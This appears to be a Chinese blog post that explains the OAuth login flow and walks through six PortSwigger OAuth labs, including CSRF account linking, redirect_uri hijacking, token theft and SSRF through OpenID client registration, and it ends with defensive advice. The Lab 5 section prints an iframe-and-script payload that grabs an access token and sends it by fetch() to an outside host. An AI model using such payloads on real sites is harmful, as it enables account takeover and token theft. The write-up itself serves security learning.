OAuth是如今一种比较流行的授权机制,虽然已经出现很久了,但是一直没有详细了解过攻击手法,今天就来学习一下。
OAuth简介
一个简单的图解,侵删
阮一峰大佬的博客说的挺清晰的了,这里就不细讲了,就用授权码的方式举一个OAuth实际应用的例子。
下面是一个用到GitHub OAuth的地方:https://sec.today
登陆成功,省去了重新注册的时间
看一下相关请求是什么,点击用GitHub登录
后,从浏览器发起了第一个请求:https://sec.today/oauth/login/github/
重定向到GitHub进行登录:https://github.com/login/oauth/authorize?client_id=dad4bf1a56b861bac810&redirect_uri=https%3A%2F%2Fsec.today%2Foauth%2Fcomplete%2Fgithub%2F%3Fredirect_state%3DH2g8QSKxOx64x7TN7G4y0zFtMW5XgxVw&state=H2g8QSKxOx64x7TN7G4y0zFtMW5XgxVw&response_type=code
在GitHub登录完成后,返回授权码code
,附在上一步填的redirect_uri
后面:https://sec.today/oauth/complete/github/?redirect_state=H2g8QSKxOx64x7TN7G4y0zFtMW5XgxVw&code=1c02c1234d182db57bd5&state=H2g8QSKxOx64x7TN7G4y0zFtMW5XgxVw
最后,sec.today
带着授权码拿到我们GitHub
账号的信息,我们就用GitHub
的身份完成了在sec.today
上的登陆
PortSwigger靶场
【LAB 1】Authentication bypass via OAuth implicit flow
题目要求:在implicit
形式的OAuth中进行认证绕过
implicit
方式的所有操作都是在客户端完成,最后认证完成得到的access_token
也是会返回到客户端,所以只需要把access_token
绑定为任意需要操作的用户即可
点击登录
返回access_token
把access_token
和任意用户绑定
【LAB 2】Forced OAuth profile linking
题目要求:获取admin
权限(admin
已登录第三方应用,且会访问我们构造的任何链接)
所以很明显是要CSRF
了,根据OAuth的流程可以知道,我们要做的就是用我们的OAuth信息去绑定admin
的第三方应用的账号
首先先用我们自己的账号进行OAuth登录,可以看到返回了一个code
,但这个时候要把这个请求拦截下来,构造完CSRF Payload
后drop掉,然后让admin
去访问
当admin
访问后,完成绑定。然后我们再以自己的账号做OAuth登录,即可得到admin
权限
【LAB 3】OAuth account hijacking via redirect_uri
题目要求:获取admin
权限(admin
已登录OAuth服务,且会访问我们构造的任何链接)
构造CSRF Payload
,redirect_uri
设置为我们可控的地址
得到admin
的code
,直接登录
admin
权限
【LAB 4】Stealing OAuth access tokens via an open redirect
题目要求:获取admin
的apikey
(admin
已登录OAuth服务,且会访问我们构造的任何链接)
这题跟上一题差不多,就是redirect_uri
做了一些校验,然后OAuth用implicit
模式了
redirect_uri
不能任意指定了,试了几种方式似乎都不行,然后发现/post/next
有重定向漏洞,且url路径检查可用/../
绕过,这个问题解决;然后系统的access_token
是放在url的fragment
中的,所以我们的payload需要把它提取出来,最终结果如下:
admin
访问后得到access_token
用access_token
拿到admin
的apikey
【LAB 5】Stealing OAuth access tokens via a proxy page
题目要求:获取admin
的apikey
(admin
已登录OAuth服务,且会访问我们构造的任何链接)
url校验沿用了上一题的方式,然后重定向漏洞没有了。注意到评论的页面/post/comment/comment-form
,有一个向父页面
发送自己url的操作,所以如果我们可以让admin
访问OAuth登录的链接,就会把access_token
发到评论页面,然后评论页面就会把token
传到我们的恶意父页面
构造payload
<iframe src="https://ac431f851f15ecdb807b43d102b500f3.web-security-academy.net/auth?client_id=j77c7udyz47s8jpf2mwu7&redirect_uri=https://acc41f8d1ff7ecd9800b438f009000bf.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
<script>
window.addEventListener("message",function(e){
var token=e.data.data;
fetch("https://aca51ffb1f26ec2680814365018400cb.web-security-academy.net/"+btoa(token));
},false);
</script>
接收到数据
解码得到token
【LAB 6】SSRF via OpenID dynamic client registration
题目要求:拿到AWS的SecretAccessKey
根据题目提示,访问/.well-known/openid-configuration
(类似的url还有/.well-known/oauth-authorization-server
和/.well-known/jwks.json
),得到客户端动态注册的链接
翻了下一些有SSRF可能的url参数,redirect_uri
是本地触发的;jwks_uri
是服务端取秘钥的,应该不存在返回信息给我们的情况;剩下的logo_uri
最有可能
注册完后进行Openid登录,看到果然有一个图片,而且明显内容不是本地请求的
得到SecretAccessKey
题目还提到Openid请求中,有的provider
是可以让client
提供一个request_uri
自己去取参数的(request_uri_parameter_supported
是true
),如果没做校验的话,也是会导致SSRF
形式如下
防御
OAuth服务提供者需要让第三方应用提供url的白名单、用state
等参数防止类CSRF攻击、确认最后请求的scope
是跟最开始的请求是一致的
第三方应用也要用state
防止CSRF、注意code
通过Referer
泄漏,此外移动端、桌面应用可能会包含client_secret
,所以需要PKCE
对code
进行保护
ietf的草稿中还提到了一些其他的攻击场景,像PKCE
downgrade attack
、307 redirection
等等,有合适的机会再研究一下